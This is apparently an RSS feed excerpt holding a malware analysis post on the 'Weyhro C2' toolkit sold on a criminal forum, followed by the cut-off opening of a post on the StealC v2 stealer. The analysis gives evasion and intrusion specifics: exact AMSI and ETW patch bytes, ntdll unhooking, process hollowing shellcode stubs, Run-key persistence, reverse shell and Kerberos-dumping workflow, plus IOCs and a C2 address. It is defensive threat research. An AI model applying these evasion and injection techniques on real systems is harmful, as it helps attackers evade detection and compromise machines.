<strong>$3,000/month</strong> with support, updates, and fixes included. Payment is accepted in BTC or USDT, with a restriction that the software must not run on CIS (Commonwealth of Independent States) systems.</p><p>Digging a bit further into the threat actor posting this tool — it appears they may be behind the Weyhro ransomware group. The Weyhro ransomware group reportedly became active sometime around March 2025. The timing of account creation preceding ransomware activity, and now the release of a full C2 toolkit suggests this is the same threat actor expanding their operations from ransomware to selling offensive tooling to other criminals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*waV9dchaW7Arg_SFg6cVqw.png" /><figcaption>Weyhro leak site</figcaption></figure><h3>So, What is Weyhro C2?</h3><h4>ChaCha20 String Decryption</h4><p>The payload stores the encrypted strings in a global table. Each string is identified by a 32-bit String ID (NOT a hash of the plaintext) and decrypted using ChaCha20.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5bfb6c5fcf30add9956c287426288546/href">https://medium.com/media/5bfb6c5fcf30add9956c287426288546/href</a></iframe><p>Each entry contains everything needed to decrypt its strings: a pointer to the encrypted data, the cryptographic key, and nonce.</p><p><strong>The decryption steps:</strong></p><ul><li>Iterate through the string table comparing each entry’s String ID with the requested ID</li><li>Retrieve encrypted data pointer, ChaCha20 key (32 bytes), and nonce (12 bytes)</li><li>Initialize state with &quot;expand 32-byte k&quot; constant, perform 20 rounds, XOR keystream with ciphertext</li></ul><p><strong>Example:</strong></p><pre>// Decrypt &quot;ntdll.dll&quot; using String ID 0xA0BBDDB3<br>char buffer[64] = {0};<br>mw_ChaCha20Decrypt(0xA0BBDDB3, buffer, sizeof(buffer));<br>// buffer now contains &quot;ntdll.dll&quot;</pre><p><strong>Key String IDs identified:</strong></p><pre>ID=0x6776C0F8: kernel32.dll<br>ID=0xA0BBDDB3: ntdll.dll<br>ID=0x565E35E0: user32.dll<br>ID=0x9F894C6C: advapi32.dll<br>ID=0x15971A3E: secur32.dll<br>ID=0xBFBDAB86: ws2_32.dll<br>ID=0xFA852BBF: CreateFileA<br>ID=0xFCF366AF: GetFileSize<br>ID=0x85AB24C4: ReadFile<br>ID=0x45AD6CF1: CloseHandle<br>ID=0xC9834F5F: OpenProcessToken<br>ID=0x54B5F192: GetCurrentProcess<br>ID=0xFA16AE04: GetTokenInformation<br>ID=0x054921F3: VirtualAlloc<br>ID=0xE038FF15: VirtualAllocEx<br>ID=0xD85B1113: VirtualProtectEx<br>ID=0x27895BAD: CreateProcessW<br>ID=0x585AEBC5: GetCurrentProcessId<br>ID=0xFB274884: GetProcessHeap<br>ID=0x8D095AC3: HeapAlloc<br>ID=0xF4CFA78F: HeapFree<br>ID=0xA4CA99F4: LsaConnectUntrusted<br>ID=0x58F05DB2: LsaRegisterLogonProcess<br>ID=0x87BF6929: LsaLookupAuthenticationPackage<br>ID=0xAF3758EF: LsaEnumerateLogonSessions<br>ID=0x80DF6DD3: LsaGetLogonSessionData<br>ID=0x9DD10C70: LsaCallAuthenticationPackage<br>ID=0x7EAEB305: LsaFreeReturnBuffer<br>ID=0x5D286218: DuplicateTokenEx<br>ID=0x7D011A19: ImpersonateLoggedOnUser<br>ID=0xA2C5320B: RevertToSelf<br>ID=0x14C545C7: NtAllocateVirtualMemory<br>ID=0x8DB2F7D3: NtProtectVirtualMemory<br>ID=0xA38A84FE: NtClose<br>ID=0x8F4D8C6A: FindWindowW<br>ID=0x698F3F83: LoadLibraryA<br>ID=0x74028CBA: WriteConsoleA<br>ID=0x5904F8CA: GetModuleFileNameW<br>ID=0x83572B88: GetStdHandle<br>ID=0x3CC19F79: WSAStartup<br>ID=0xFFFC1AD2: WSACleanup<br>ID=0x5A91A8F5: WSASocketW<br>ID=0xD091D3D9: connect<br>ID=0x1D294A01: send<br>ID=0x23BC9501: recv<br>ID=0x0CE82532: closesocket<br>ID=0xAEA8C55D: CreatePipe<br>ID=0x3905EABB: DuplicateHandle<br>ID=0xA3309BD0: WaitForSingleObject<br>ID=0xBA557E2E: NtWriteVirtualMemory<br>ID=0x2B9B05BA: NtReadVirtualMemory<br>ID=0xDA72FBB8: NtQueryInformationProcess<br>ID=0x44DFA62D: NtOpenProcess<br>ID=0x418178B0: NtCreateThreadEx<br>ID=0xB209EA4C: NtSuspendThread<br>ID=0x5D5A3E1C: NtResumeThread<br>ID=0x3B54C106: NtFreeVirtualMemory<br>ID=0x194DBA69: NtMapViewOfSection<br>ID=0x2C19C7AB: NtUnmapViewOfSection<br>ID=0x639D9E97: NtReadFile<br>ID=0xD8472464: EtwEventWrite<br>ID=0x39AB148E: AmsiScanBuffer<br>ID=0x0D5406A3: kernelbase.dll<br>ID=0xDE895451: amsi.dll<br>ID=0x749AA3C2: C:\Windows\System32\ntdll.dll<br>ID=0xCC2CE509: LdrGetDllHandle<br>ID=0xBE78AB40: WriteProcessMemory<br>ID=0x39B5C443: ResumeThread<br>ID=0x57CE9C93: GetThreadContext<br>ID=0x78E12844: SetThreadContext<br>ID=0xD9F6AD83: IsDebuggerPresent<br>ID=0x12BF02D5: CreateToolhelp32Snapshot<br>ID=0x1B105040: Process32FirstW<br>ID=0xD08B9B65: Process32NextW<br>ID=0x70DD9366: OpenThreadToken<br>ID=0x42657133: GetCurrentThread<br>ID=0xE1518A7F: GlobalMemoryStatusEx<br>ID=0x8F063A3A: NetGetJoinInformation<br>ID=0x4DF495A7: RegOpenKeyExW<br>ID=0xF5944F88: RegCloseKey<br>ID=0xD5B50261: VirtualProtect<br>ID=0x54ABC644: RegOpenKeyExA<br>ID=0x35BC2C28: RegQueryValueExW<br>ID=0xA1FBF2A4: NtOpenKey<br>ID=0xD6145070: NtCreateKey<br>ID=0xD58E9518: GetProcessId<br>ID=0x5B1ED11D: EnumWindows<br>ID=0xDB83907E: GetWindowThreadProcessId<br>ID=0x1B8BE250: DestroyWindow<br>ID=0x71F73233: CreateRemoteThread<br>ID=0xC79ABA16: CreateThread<br>ID=0x174BFE01: WriteFile<br>ID=0xBDC11BED: Sleep<br>ID=0x8307F657: PeekNamedPipe<br>ID=0x7FDFDB0C: FlushFileBuffers<br>ID=0x7E1DCA0E: socket<br>ID=0x5E667354: ioctlsocket<br>ID=0xEACD5301: select<br>ID=0x9E80EE1E: WSAGetLastError<br>ID=0xD78C25D8: NtCreateNamedPipeFile<br>ID=0x15E8CE02: NtWriteFile<br>ID=0xE6D03D06: GetUserNameA<br>ID=0x3A03B251: GetComputerNameA<br>ID=0xD9AB418F: RtlGetVersion<br>ID=0x145FDA43: getsockname<br>ID=0x447929D9: bind<br>ID=0xC6B770FF: listen<br>ID=0x492D1331: accept<br>ID=0x399B44D1: setsockopt<br>ID=0xE5E579D9: getsockopt<br>ID=0x1440A192: gethostbyname<br>ID=0x35648B37: gdi32.dll<br>ID=0xFB4A7F05: InitializeSecurityDescriptor<br>ID=0xC493F8F2: SetSecurityDescriptorDacl<br>ID=0xDCF393E2: CreateDesktopA<br>ID=0xCB4ACFAD: SetThreadDesktop<br>ID=0xA5911DE8: CloseDesktop<br>ID=0x1C8C3300: GetGUIThreadInfo<br>ID=0x9AAF4453: GetThreadDesktop<br>ID=0xC0FBA7DD: GetWindowRect<br>ID=0xDAC57377: ScreenToClient<br>ID=0x186E188A: GetClientRect<br>ID=0xD39F1F69: FindFirstFileW<br>ID=0x438B6025: FindNextFileW<br>ID=0x48E9CC8D: FindClose<br>ID=0xB5EDF6AE: CreateFileW<br>ID=0x5411E5CA: DeleteFileW<br>ID=0x18B521D1: CreateDirectoryW<br>ID=0xD9DFEC46: MoveFileW<br>ID=0x99E2E690: CopyFileW<br>ID=0xAC23A6F8: GetFileAttributesW<br>ID=0x4A545BAB: GetFileTime<br>ID=0xB51B3B0F: FileTimeToSystemTime<br>ID=0xF1682DA2: SystemTimeToFileTime<br>ID=0x369B65D6: SetFilePointer<br>ID=0x321189A8: cmd.exe<br>ID=0xF5822B0C: PostMessageA<br>ID=0x760E88E4: GetCurrentThreadId<br>ID=0xAFD4DAC7: CreateProcessA<br>ID=0xC6C22D53: GetLastError<br>ID=0x458B2170: OpenProcess<br>ID=0x9683953F: TerminateProcess<br>ID=0x3C9D8FA6: Thread32First<br>ID=0x594F8166: Thread32Next<br>ID=0x91CBB3F2: Process32First<br>ID=0xFBB9F934: Process32Next<br>ID=0xDDA147F6: FreeConsole<br>ID=0x6B3C4E81: GetDC<br>ID=0x99C99F83: ReleaseDC<br>ID=0x4263A3C3: CreateCompatibleDC<br>ID=0x51D2202F: DeleteDC<br>ID=0x3A90E064: CreateCompatibleBitmap<br>ID=0x290B3CAA: DeleteObject<br>ID=0x7A1123AE: SelectObject<br>ID=0x62034019: BitBlt<br>ID=0x71093716: GetDIBits<br>ID=0xBB8517F5: GetWindowDC<br>ID=0x4A8FF765: NetApiBufferFree<br>ID=0xDB6F3320: NetWkstaGetInfo<br>ID=0xCD94BB1E: Netapi32.dll<br>ID=0x561C5F24: NtQueryInformationToken<br>ID=0x4C8C2C4D: NtQuerySystemInformation<br>ID=0x42755D7B: GetModuleHandleW<br>ID=0x4D3B07B9: GetProcAddress<br>ID=0x94ECA6C7: RtlCreateHeap<br>ID=0xF342DE1E: RtlDestroyHeap<br>ID=0x4941F646: RtlAllocateHeap<br>ID=0x647015F6: RtlFreeHeap<br>ID=0x2E3C4C11: RtlReAllocateHeap<br>ID=0x1E4A758F: CreateFileMappingW<br>ID=0x1BC2EC6C: MapViewOfFile<br>ID=0xCD67729E: NtSetValueKey<br>ID=0x60C24771: shell32.dll<br>ID=0x6FDC6558: SHGetFolderPathW<br>ID=0x33F7E0C1: NtWaitForSingleObject<br>ID=0xB3160562: Microsoft\Windows\Security<br>ID=0x187C5415: msdefcore.exe<br>ID=0xCACF8C87: WMIProviderHost<br>ID=0x6E0419B9: Software\Microsoft\Windows\CurrentVersion\Run<br>ID=0xCE93839B: ReadProcessMemory<br>ID=0x722285DC: C:\Windows\System32\cmd.exe<br>ID=0xD5D51295: LsaDeregisterLogonProcess</pre><h4>EDR/AV Unhooking Mechanism</h4><p>The snippet below implements an anti-EDR technique: loading a copy of ntdll.dll directly from disk to obtain unhooked function bytes. EDR and AVs typically hook ntdll.dll functions in memory by inserting JMP instructions at function prologues, but they cannot modify the file stored on disk. By reading the original file, the payload obtains clean, unmodified function bytes that can later be used to overwrite the hooked versions in memory.</p><p>The code first decrypts the target file path using ChaCha20 encryption. The String ID 0x749AA3C2 (shown as decimal 1956291522 in the decompiled code) serves as a lookup key into the encrypted string table, which decrypts to the full path C:\Windows\System32\ntdll.dll.</p><p>Before performing any file operations, the payload must resolve the required Windows API functions — CreateFileW, GetFileSize, VirtualAlloc, ReadFile, and CloseHandle. All five APIs reside in kernel32.dll, identified by String ID 0x6776C0F8. Each API name is itself stored as a ChaCha20-encrypted string with its own String ID: 0xFA852BBF for CreateFileW, 0xFCF366AF for GetFileSize, 0x85AB24C4 for VirtualAlloc, 0x45AD6CF1 for ReadFile, and 0x054921F3 for CloseHandle (refer to the table of string IDs above).</p><p>With the API pointers resolved, the payload opens ntdll.dll from disk with CreateFileW with GENERIC_READ access and FILE_SHARE_READ sharing mode. The OPEN_EXISTING flag ensures the call fails if the file doesn’t exist. After obtaining a valid file handle, it queries the file size using GetFileSize, then allocates a memory buffer of exactly that size using VirtualAlloc. The allocation uses MEM_COMMIT | MEM_RESERVE (0x3000) with PAGE_EXECUTE_READWRITE (0x40) protection, giving the buffer read, write, and execute permissions.</p><p>The payload then reads the entire ntdll.dll file into the allocated buffer, passing the file handle, buffer pointer, and expected size. After the read completes, it immediately closes the file handle and verifies that the number of bytes actually read matches the expected file size. If this validation succeeds, the buffer now contains an exact byte-for-byte copy of the clean, unhooked ntdll.dll from disk. This clean copy acts as a reference for the following unhooking operation. The payload parses the PE structure of the clean disk copy, locates the .text section by searching for the magic bytes 0x747865742E (&quot;.text&quot;), and then overwrites the entire hooked .text section in memory with the clean bytes from disk with the patch memory function below. This effectively removes any EDR inline hooks by restoring the original function prologues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H4omCz28PgtH5z5Sb0X1jw.png" /><figcaption>Patch Memory function</figcaption></figure><h4>ETW and AMSI Patching</h4><p>The ETW patch is simple: it finds EtwEventWrite (or similar ETW function) in ntdll.dll and overwrites the first byte with 0xC3 (RET). This makes the function return immediately without doing anything, effectively disabling Event Tracing for Windows telemetry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*xKzNvsbW0WVWtBY3346c1A.png" /><figcaption>ETW patching</figcaption></figure><p>The payload bypasses AMSI by patching the AmsiScanBuffer function directly in memory. If amsi.dll is not loaded in the process, the patch is skipped and the payload logs [~] AMSI patch skipped: amsi.dll not loaded.</p><p>If amsi.dll is present, the payload locates the function AmsiScanBuffer. Once found, it overwrites the first three bytes of the function with 31 C0 C3. The bytes 31 C0 disassemble to XOR EAX, EAX which sets the return value to zero, and C3 is the RET instruction which returns immediately to the caller. Since AMSI uses the return value to determine scan results, returning zero indicates AMSI_RESULT_CLEAN, meaning the scanned content is safe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*vcO7qmhrX_-UNy_cKpwc3g.png" /><figcaption>AMSI patching</figcaption></figure><h4>Persistence</h4><p>The payload establishes persistence by copying itself to %APPDATA%\Microsoft\Windows\Security\msdefcore.exe. It first calls SHGetFolderPathW with CSIDL_APPDATA (26) to get the user&#39;s AppData\Roaming folder, then appends the path Microsoft\Windows\Security\msdefcore.exe. Before copying, it checks if a file already exists at that location using GetFileAttributesW, and if so, deletes it with for a clean installation. It then copies the currently running executable to the destination.</p><p>After placing the file, the payload writes a registry value to ensure it runs on every user login. It opens HKEY_CURRENT_USER with RegOpenKeyExA, then uses NtCreateKey to create or open the subkey Software\Microsoft\Windows\CurrentVersion\Run. Finally, it calls NtSetValueKey to write a value named WMIProviderHost pointing to the dropped executable.</p><h4>Process Injection</h4><p>The payload uses a process hollowing technique to inject its payload into a legitimate Windows process. It decrypts the target process path C:\Windows\System32\cmd.exe using ChaCha20, then resolves the necessary APIs including CreateProcessA, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx, and ResumeThread. It spawns cmd.exe in a suspended state using the CREATE_SUSPENDED flag (0x4), which prevents the process from executing until explicitly resumed.</p><p>Once the suspended process is created, the payload allocates executable memory in the target process using VirtualAllocEx , then writes the decrypted payload using WriteProcessMemory. It queries the process information via NtQueryInformationProcess to locate the PEB, validates the payload&#39;s PE headers, and determines whether the payload is x86 (0x14C) or x64 (0x8664). The payload then constructs a small shellcode stub and calls ResumeThread.</p><p><strong>For x64:</strong></p><pre>mov rax, 0x&lt;payload_address&gt;    ; Load payload address into RAX (0xB848 + 8 bytes addr)<br>jmp rax                          ; Jump to payload (0xFFE0)</pre><p><strong>For x86:</strong></p><pre>mov eax, 0x&lt;payload_address&gt;    ; Load payload address into EAX (0xB8 + 4 bytes addr)<br>jmp eax                          ; Jump to payload (0xFFE0)</pre><h4>HVNC?</h4><p>As described in the forum post, the payload includes Hidden Virtual Network Computing (HVNC). Unlike traditional VNC which mirrors the victim’s visible screen, HVNC creates an invisible desktop session that runs completely hidden from the user. The payload accomplishes this by calling CreateDesktopA to spawn a new desktop object that exists in a separate session from the user&#39;s active desktop, then uses SetThreadDesktop to switch its threads to this hidden workspace. Any applications launched on this invisible desktop will execute without any visual indication to the victim.</p><p>The screen capture and streaming functionality is supported by a full suite of GDI (Graphics Device Interface) APIs present in the encrypted string table: GetDC/GetWindowDC to obtain device contexts, CreateCompatibleDC and CreateCompatibleBitmap to set up off-screen buffers, BitBlt to perform fast screen captures, and GetDIBits to extract the raw pixel data for transmission to the C2 server. Supporting functions like SelectObject, DeleteObject, DeleteDC, and ReleaseDC handle proper resource management. The GetWindowRect and GetGUIThreadInfo APIs allow the threat actor to enumerate and interact with windows on the hidden desktop. While the actual HVNC implementation code was not found in this payload, the presence of these 16+ HVNC-specific API entries in the encrypted string table confirms this payload has full hidden desktop and screen capture capabilities ready for deployment.</p><h4>Kerberos Dumper?</h4><p>As described in the forum post, the payload includes Kerberos ticket dumping capability. The encrypted string table contains the complete API infrastructure required for extracting Kerberos tickets from the Local Security Authority (LSA):</p><ul><li>LsaCallAuthenticationPackage - Sends ticket retrieval requests to the Kerberos SSP</li><li>LsaLookupAuthenticationPackage - Locates the Kerberos authentication package</li><li>LsaConnectUntrusted / LsaFreeReturnBuffer - Establishes connections to LSA and manages memory</li><li>NtQueryInformationToken - Retrieves token details including logon session info</li><li>NtQuerySystemInformation - Enumerates system-wide logon sessions</li><li>OpenProcessToken - Opens process tokens for inspection</li><li>ImpersonateLoggedOnUser - Impersonates user contexts to access their tickets</li></ul><p>The Kerberos dumping workflow typically involves: connecting to LSA via LsaConnectUntrusted, looking up the Kerberos package with LsaLookupAuthenticationPackage, then calling LsaCallAuthenticationPackage with KerbRetrieveEncodedTicketMessage to extract TGTs and service tickets from the current session or all sessions when running with elevated privileges. The presence of NtQuerySystemInformation suggests capability to enumerate all logon sessions system-wide.</p><p>While the actual Kerberos dumping implementation code was not found in this binary, the presence of 40+ credential/token-related API entries<strong> </strong>in the encrypted string table confirms this payload has the capabilities for full Kerberos ticket extraction.</p><h4>Secondary Payload Decryption</h4><p>The payload uses a custom AES-128-CTR implementation to decrypt its secondary payload, followed by LZSS decompression to extract the secondary payload.</p><h4>Custom AES Implementation</h4><p>The payload implements its own AES-128 encryption, computing the S-Box at runtime using the standard GF(2⁸) multiplicative inverse algorithm. This runtime generation avoids embedding the recognizable 256-byte AES S-Box table in the binary.</p><p>The key expansion follows the standard AES schedule but uses the custom S-Box for the SubWord operation. The encryption operates in CTR (Counter) mode with an 8-byte IV and an 8-byte counter.</p><p>The AES key (9B E2 55 CF 18 D8 D1 13 51 42 8B 32 11 A9 E8 02)and IV (74 DC 9A EE 3E D9 94 17)are hardcoded in the binary.</p><h4>LZSS Decompression</h4><p>After decryption, the output is a LZSS-compressed data that must be decompressed to recover the secondary payload. The implementation uses a bit-stream encoding:</p><ul><li><strong>Literal token (9 bits)</strong>: LSB is 0, followed by 8-bit literal byte value</li><li><strong>Back-reference token (25 bits)</strong>: LSB is 1, followed by 8-bit length and 16-bit offset</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTvRlzaX1h0zz_Nd8fwIOg.png" /><figcaption>LZSS Decompression Function</figcaption></figure><h3>Loader</h3><p>The payload contains the loader export function, which is a reflective PE loader that is used to dynamically load the agent directly into memory without ever touching disk.</p><p>The loader begins by resolving Windows APIs through <strong>DJB2 hash lookups</strong> rather than standard imports. It resolves functions like LoadLibraryA, GetProcAddress, VirtualAlloc, VirtualProtect, and FlushInstructionCache by walking the Process Environment Block (PEB) and matching hash values against export names.</p><p>As mentioned above, beyond the ChaCha20-encrypted string table, the payload uses an API resolution mechanism using the DJB2 hashing algorithm. This is a classic hash function, starting with the magic value 5381 and using a multiplier of 33. The implementation includes case-insensitive matching by converting lowercase characters to uppercase before hashing.</p><pre>hash = 5381<br>for each character c in string:<br>    if c &gt;= &#39;a&#39;:<br>        c = c - 32  // Convert to uppercase<br>    hash = hash * 33 + c</pre><p><strong>Resolved hashes:</strong></p><pre>0xB7072FDB: LoadLibraryA<br>0xDECFC1BF: GetProcAddress<br>0x097BC257: VirtualAlloc<br>0xE857500D: VirtualProtect<br>0xEFB7BF9D: FlushInstructionCache<br>0xE144A60E: VirtualFree<br>0xC165D757: ExitThread</pre><p>Once APIs are resolved, the loader parses the incoming PE file’s headers, starting with the DOS header’s e_lfanew field to locate the NT headers. It then allocates memory at the PE&#39;s preferred ImageBase using VirtualAlloc with MEM_COMMIT | MEM_RESERVE flags. If the preferred address is unavailable, it falls back to allocating at any available location. The loader proceeds to map each section from the raw PE data to its corresponding virtual address, copying .text, .data, .rdata, and other sections to their proper offsets within the allocated memory region.</p><p>After imports are resolved, the loader applies appropriate memory protections to each section based on their characteristics flags, converting PE section attributes to Windows memory protection constants like PAGE_EXECUTE_READ, PAGE_READONLY, and PAGE_READWRITE. A call to FlushInstructionCache helps the CPU to recognize the newly written executable code. Finally, the loader transfers control to the agent by calling its entry point with DLL_PROCESS_ATTACH.</p><h3>The Agent</h3><p>The agent has the same functionality as in the initial payload to decrypt strings via ChaCha20 and resolve Windows APIs dynamically using encrypted string IDs. The following string IDs were identified during the decryption:</p><pre>0xA00163E1: kernel32.dll<br>0x4FBEACC0: ntdll.dll<br>0xE89D8CFB: user32.dll<br>0xA508724D: advapi32.dll<br>0x1B5C2B09: ws2_32.dll<br>0x32B6440D: CreateFileA<br>0xE006D837: GetFileSize<br>0x5A14D573: ReadFile<br>0xDF166002: CloseHandle<br>0xE40747F3: VirtualAlloc<br>0x7DB3FC25: VirtualAllocEx<br>0x64E8E531: VirtualProtectEx<br>0x3B4A43E0: CreateProcessW<br>0x07482DF7: GetCurrentProcessId<br>0xED8676E3: NtAllocateVirtualMemory<br>0x87EDC5DC: NtProtectVirtualMemory<br>0xC7A11913: NtClose<br>0xBED3FAED: FindWindowW<br>0xA53B62D4: LoadLibraryA<br>0xDEF5536C: WriteConsoleA<br>0x95FB4873: GetModuleFileNameW<br>0x65E1B0D8: GetStdHandle<br>0x6C2A34B2: WSAStartup<br>0x3154B1B0: WSACleanup<br>0xD510A9EE: WSASocketW<br>0x929CF63A: connect<br>0x70322EE5: send<br>0x4E2921A8: recv<br>0x2916ABC5: closesocket<br>0x488BB71C: CreatePipe<br>0x5E256D58: DuplicateHandle<br>0x252C7570: CreateRemoteThread<br>0x1745E5BE: Sleep<br>0xD6A0D3D0: PeekNamedPipe<br>0x791C1B7C: OpenProcessToken<br>0xA8EF236F: GetUserNameA<br>0x19E1BAE1: Software\\Microsoft\\Windows\\CurrentVersion\\Run<br>0x093BFC4D: cmd.exe</pre><p><strong>Commands:</strong></p><pre>file - File operations (list/read/write/delete)<br>injt - Process injection via CreateRemoteThread<br>sock - SOCKS5 proxy<br>shll - Reverse shell<br>ping - Heartbeat (responds &quot;pong&quot;)<br>proc - Process/network enumeration</pre><h4>File Operations</h4><p>The file operations module supports multiple sub-commands for interacting with the victim’s file system. Based on the error strings embedded in the binary, the supported operations include directory enumeration via FindFirstFile/FindNextFile, file reading with configurable position seeking, file writing for data exfiltration staging or payload dropping, and file deletion.</p><pre>- &quot;Failed to find first file&quot; - Directory listing (FindFirstFileW)<br>- &quot;Failed to set file position&quot; - File seeking (SetFilePointer)<br>- &quot;Failed to read file&quot; - File reading (ReadFile)<br>- &quot;Failed to open file&quot; - File access (CreateFileW)<br>- &quot;Failed to write file&quot; - File writing (WriteFile)<br>- &quot;Failed to delete file&quot; - File deletion (DeleteFileW)</pre><p>The handler parses sub-command parameters from the C2 packet payload, extracting the operation type, target path, and any additional parameters such as file offsets or data buffers. All file paths are processed through GetFullPathNameA.</p><h4>Process Injection Command (injt)</h4><p>The injection handler implements classic CreateRemoteThread-based process injection, a technique commonly used by payload for code execution in the context of a legitimate process.</p><p>The handler parses a structured packet from the C2 server with a specific format: after skipping the 4-byte command identifier (“injt”), the code reads the target process ID as a DWORD at offset +0, the shellcode length as a DWORD at offset +4, and the raw shellcode bytes starting at offset +8.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b8eb1973cac851c42039864bf37c3a17/href">https://medium.com/media/b8eb1973cac851c42039864bf37c3a17/href</a></iframe><p>The handler validates the packet size before processing: it first checks that at least 8 bytes exist beyond the command (minimum header), then verifies the total packet size accommodates the declared shellcode length.</p><pre>0x18000D22B: mov edx, 0xAA953F88 ; GetProcAddress/GetModuleHandle<br>0x18000D245: mov edx, 0x7DB3FC25 ; VirtualAllocEx<br>0x18000D25F: mov edx, 0x89F3E8B9 ; WriteProcessMemory<br>0x18000D27B: mov edx, 0x64E8E531 ; VirtualProtectEx<br>0x18000D295: mov edx, 0x252C7570 ; CreateRemoteThread<br>0x18000D2B6: mov edx, 0xDF166002 ; CloseHandle</pre><p>The injection sequence is as follows: The handler first calls OpenProcess with PROCESS_ALL_ACCESS (0x1F0FFF) to obtain a handle to the target process. Memory is then allocated in the target process via VirtualAllocEx with MEM_COMMIT | MEM_RESERVE (0x3000) flags. The retrieved payload is written using WriteProcessMemory, followed by a memory protection change via VirtualProtectEx to PAGE_EXECUTE_READWRITE (0x40). Finally, CreateRemoteThread executes the injected code, and the process handle is closed for cleanup.</p><h4>SOCKS5 Proxy Command (sock)</h4><p>The sock command starts a SOCKS5 proxy on the victim, allowing the attacker to route traffic through the compromised machine to access internal resources behind the firewall or pivot to other systems on the network.</p><p>Upon receiving the sock command, the handler initializes a SOCKS5 server instance that listens for incoming proxy requests from the C2 infrastructure. The implementation follows the <a href="https://datatracker.ietf.org/doc/html/rfc1928">RFC 1928 SOCKS5 protocol</a> specification, supporting the CONNECT command for TCP relay. Error handling strings socks5_invalid and [agent] Winsock FAIL indicate built-in validation and network error recovery.</p><h4>Reverse Shell Command (shll)</h4><p>The reverse shell handler gives an interactive command-line access to the compromised system.</p><p>The shell implementation creates a hidden cmd.exe process with redirected standard handles. The payload uses CreatePipe for setting up anonymous pipes, and CreateProcessW for spawning the command interpreter. The pipes redirect the shell&#39;s stdin, stdout, and stderr, enabling bidirectional communication with the C2 server.</p><pre>- CreatePipe() for stdin redirection<br>- CreatePipe() for stdout/stderr capture  <br>- CreateProcessW(&quot;cmd.exe&quot;, ..., CREATE_NO_WINDOW)<br>- Continuous read/write loop with C2</pre><h4>Heartbeat Command (ping)</h4><p>The ping handler implements a simple heartbeat mechanism for connection keepalive and implant health verification.</p><p>When the C2 server sends a ping command, the handler responds with a pong message. This is pretty common in malware (like RATs) to verify the implant is still alive and maintain an active connection with the C2 server.</p><h4>Process Enumeration Command (proc)</h4><p>The proc handler collects network and system information for reconnaissance. The handler resolves GetAdaptersInfo to enumerate network adapters and IP addresses.</p><h3>C2 Communications Protocol</h3><p>A notable weakness in this payload is its use of unencrypted plaintext for all command-and-control communications. Despite the ChaCha20 and AES encryptions used to obfuscate strings within the binary and decrypt the secondary paylaod, the actual network traffic between the implant and C2 server is transmitted in cleartext.</p><p>The protocol follows a simple length-prefixed format. The function blow prepares outbound data by converting the payload length to big-endian (network byte order), sends the 4-byte length prefix, then transmits the raw payload data via the Winsock send(). I am not seeing any encryption occurring at any point in this chain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*zx_k2n0jOLlFerloIEJlcA.png" /><figcaption>Sending data with 4-byte length prefix</figcaption></figure><h3>Weyhro C2 Panel</h3><p>Pivoting to the C2 address using one of my favorite tools — Censys, we can find the panel easily.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*pnBtXVSY7_9drxSvSuG2TA.png" /><figcaption>Leveraging Censys to discover the panel</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*TZHAD8gOPRJgYyDfpZCv2Q.png" /><figcaption>Weyhro C2 Login Panel</figcaption></figure><p>Looking at the source code, we can see some comments in Russian, referring to copying static files for a noVNC web-based + VNC viewer setup, as well as Weyhro C2 in title.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*wDPN_gO6UK9ofwmA08YM-A.png" /><figcaption>Weyhro C2 Panel Source Code</figcaption></figure><h3>Yara Rule</h3><p><a href="https://github.com/RussianPanda95/Yara-Rules/blob/main/WeyhroC2/win_mal_weyhroc2.yar">Yara-Rules/WeyhroC2/win_mal_weyhroc2.yar at main · RussianPanda95/Yara-Rules</a></p><h4>Indicators of Compromise</h4><p>Payloads:</p><p>ec4ab4e4d700c9e5fdda59eb879a2bf18d0eefd825539d64677144d43a744cee<br>357e649b3b03ffe0d083092c0ed870c5185d64f14f5735ae43a8343269488dc3<br>8838278fff9a80d027951999d9f7c811ec2928afc39367f42f48f4411d1416b9</p><p>C2: 46.37.123[.]214</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b136fd7ef100" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Autopsy of a Failed Stealer: StealC v2]]></title>
            <link>https://medium.com/@malbearlabs/autopsy-of-a-failed-stealer-stealc-v2-a4e32da04396?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4e32da04396</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[stealer]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Thu, 10 Apr 2025 21:29:33 GMT</pubDate>
            <atom:updated>2025-04-10T22:18:53.554Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JeFtnXMxdH8BGJWrXvzbw.png" /></figure><h3>Case Study</h3><p>StealC is one of the well-known stealers written in C++ that has been active since 2022. In April 2025 after the release of the StealC v2 version, the developer announced the sale of only 5 copies of the source code of version one at $3000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxBfPgieCIw4lsPawpuJ8g.png" /><figcaption>StealC developer announcing the sale of StealC v1.12.2</figcaption></figure><p>In March 2025, the StealC developer announced the <a href="https://x.com/g0njxa/status/1907402495690674224">release</a> of StealC v2. The new update features an allegedly new codebase, server-side decryption of Chrome-based browser cookies and passwords (except for Firefox), and server-side brute-forcing of crypto plugins. According to claims, all data transferred between builds and the server is encrypted using a custom RC4-based algorithm. To read more about the changes, you can refer to this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nBf1ARuxovslZowNCvkowQ.png" /><figcaption>Announcement of StealC v2</figcaption></figure><h3>Technical Overview</h3><p>First of all, all the strings are still encrypted with RC4 and the hardcoded key as in previous versions. You can find the script to decrypt the strings and extract the C2 and Build ID <a 